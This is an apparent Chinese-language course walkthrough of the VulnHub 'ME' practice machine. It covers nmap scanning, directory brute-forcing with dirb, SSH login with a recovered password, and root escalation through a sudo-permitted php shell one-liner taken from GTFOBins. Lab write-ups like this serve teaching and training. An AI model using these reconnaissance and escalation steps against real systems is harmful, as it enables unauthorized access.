VulnHub ME 靶机实战：从 80 端口到本地访问

来源：Linux 服务基础课程讲义（me.pdf，共 8 页）。由 PDF 转为 Markdown 并抽取原文图片，仅整理排版与章节层级，正文内容未改写。

~ 信息收集！nmap -sP 192.168.130.0/24

！全面扫描nmap -A 192.168.130.139~ 访问80端口

！破解本地访问 （127.0.0.1）

下载插件

！查看页面源代码！扫描敏感路径 （dirb）

~ 获取所有用户信息

ssh登陆：

alice 4lic3

~ 登陆后需要考虑的事情！浏览目录家目录ls -a .my_secret flag1.txt！提权@ sudo -l 查看当前用户有哪些命令可以以管理员去执行

https://gtfobins.github.io/

sudo php -r 'system("/bin/sh -i");'

@ suid 查看当前系统有哪些命令可以以以管理员去执行@ 内核提权